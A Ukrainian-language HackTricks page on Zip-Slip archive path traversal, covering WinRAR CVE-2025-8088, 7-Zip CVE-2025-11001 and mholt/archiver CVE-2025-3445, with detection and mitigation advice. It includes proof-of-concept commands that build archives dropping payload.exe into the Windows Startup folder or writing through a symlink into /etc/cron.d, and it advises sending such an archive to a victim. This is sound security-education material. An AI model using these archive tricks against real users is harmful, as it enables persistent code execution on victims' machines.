Archive Extraction Path Traversal (“Zip-Slip” / WinRAR CVE-2025-8088)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Багато форматів архівів (ZIP, RAR, TAR, 7-ZIP тощо) дозволяють кожному запису містити власний внутрішній шлях. Коли утиліта для розпакування сліпо довіряє цьому шляху, створене ім’я файлу, що містить .. або абсолютний шлях (наприклад C:\Windows\System32\), буде записано поза обраним користувачем каталогом.
Цей клас уразливостей широко відомий як Zip-Slip або archive extraction path traversal.
Наслідки
Наслідки варіюються від перезапису довільних файлів до прямого досягнення remote code execution (RCE) шляхом розміщення payload у auto-run місці, наприклад у Windows Startup folder.
Коренева причина
- Атакуючий створює архів, де один або кілька заголовків файлів містять:
- Відносні послідовності обходу (
..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe) - Абсолютні шляхи (
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe) - Або спеціально створені symlinks, що вказують за межі цільового каталогу (поширено в ZIP/TAR на nix).
- Жертва розпаковує архів за допомогою вразливого інструменту, який довіряє вбудованому шляху (або слідує за symlinks), замість того щоб перевірити його або примусово виконати розпакування всередині обраного каталогу.
- Файл записується у розташування, контрольоване атакуючим, і виконується/завантажується при наступному тригері цього шляху системою чи користувачем.
Реальний приклад – WinRAR ≤ 7.12 (CVE-2025-8088)
WinRAR для Windows (включаючи rar / unrar CLI, DLL та портативне джерело) не перевіряв імена файлів під час розпакування.
Зловмисний RAR-архів, що містить запис на кшталт:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
опинилися б поза вибраною директорією виводу та в папці Startup користувача. Після входу в систему Windows автоматично виконує все, що там присутнє, забезпечуючи постійний RCE.
Crafting a PoC Archive (Linux/Mac)
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
Використані опції:
-ep– зберігати шляхи файлів точно як задано (не обрізувати ведучий./).
Передайте evil.rar жертві та інструктуйте її розпакувати його за допомогою вразливої збірки WinRAR.
Виявлені експлуатації в реальному житті
ESET повідомила про RomCom (Storm-0978/UNC2596) spear-phishing кампанії, які додавали RAR-архіви, що зловживали CVE-2025-8088 для розгортання customised backdoors та сприяння ransomware операціям.
Новіші випадки (2024–2025)
7-Zip ZIP symlink traversal → RCE (CVE-2025-11001 / ZDI-25-949)
- Помилка: записи ZIP, що є символьними посиланнями, розпізнавалися під час розпакування, дозволяючи зловмисникам вийти за межі директорії призначення та перезаписати довільні шляхи. Взаємодія користувача — лише відкриття/розпакування архіву.
- Постраждалі: 7-Zip 21.02–24.09 (Windows & Linux збірки). Виправлено в 25.00 (липень 2025) і пізніших версіях.
- Шлях впливу: перезапис
Start Menu/Programs/Startupабо місць запуску сервісів → код виконається при наступному вході або перезапуску сервісу. - Швидкий PoC (Linux):
mkdir -p out
ln -s /etc/cron.d evil
zip -y exploit.zip evil # -y preserves symlinks
7z x exploit.zip -o/tmp/target # vulnerable 7-Zip writes to /etc/cron.d
На виправленій збірці /etc/cron.d не буде змінено; символьне посилання буде витягнуто як посилання всередині /tmp/target.
Go mholt/archiver Unarchive() Zip-Slip (CVE-2025-3445)
- Помилка:
archiver.Unarchive()слідує за../та символьними посиланнями в ZIP-записах, записуючи за межіoutputDir. - Постраждалі:
github.com/mholt/archiver≤ 3.5.1 (проект тепер застарілий). - Виправлення: Перейти на
mholt/archives≥ 0.1.0 або реалізувати перевірки канонічного шляху перед записом. - Мінімальна репродукція:
// go test . with archiver<=3.5.1
archiver.Unarchive("exploit.zip", "/tmp/safe")
// exploit.zip holds ../../../../home/user/.ssh/authorized_keys
Поради з виявлення
- Статичний огляд – Перелікуйте записи архіву і позначайте будь-які імена, що містять
../,..\\, absolute paths (/,C:) або записи типу symlink, чиї цілі знаходяться поза директорією розпакування. - Канонізація – Переконайтеся, що
realpath(join(dest, name))все ще починається зdest. Відхиляйте інакше. - Розпакування в пісочниці – Розархівовуйте в тимчасову директорію за допомогою безпечного екстрактора (наприклад,
bsdtar --safe --xattrs --no-same-owner, 7-Zip ≥ 25.00) і перевіряйте, що отримані шляхи залишаються всередині цієї директорії. - Моніторинг кінцевих точок – Сигналізуйте про нові виконувані файли, записані в
Startup/Run/cronмісця незабаром після того, як архів було відкрито WinRAR/7-Zip/тощо.
Пом’якшення ризику та закріплення захисту
- Оновіть екстрактор – WinRAR 7.13+ та 7-Zip 25.00+ реалізують санітизацію шляхів/символьних посилань. Обидва інструменти все ще не мають автооновлення.
- Розпаковуйте архіви з опцією “Do not extract paths” / “Ignore paths”, коли це можливо.
- На Unix знижуйте привілеї та монтуйте chroot/namespace перед розпакуванням; на Windows використовуйте AppContainer або пісочницю.
- Якщо пишете власний код, нормалізуйте за допомогою
realpath()/PathCanonicalize()перед створенням/записом і відкидайте будь-який запис, що втікає за межі призначення.
Додаткові постраждалі / історичні випадки
- 2018 – Масивне повідомлення про Zip-Slip від Snyk, що вплинуло на багато бібліотек Java/Go/JS.
- 2023 – 7-Zip CVE-2023-4011, схоже проходження під час злиття
-ao. - 2025 – HashiCorp
go-slug(CVE-2025-0377) TAR extraction traversal у slugs (патч у v1.2). - Будь-яка власна логіка розпакування, яка не викликає
PathCanonicalize/realpathперед записом.
Посилання
- Trend Micro ZDI-25-949 – 7-Zip symlink ZIP traversal (CVE-2025-11001)
- JFrog Research – mholt/archiver Zip-Slip (CVE-2025-3445)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


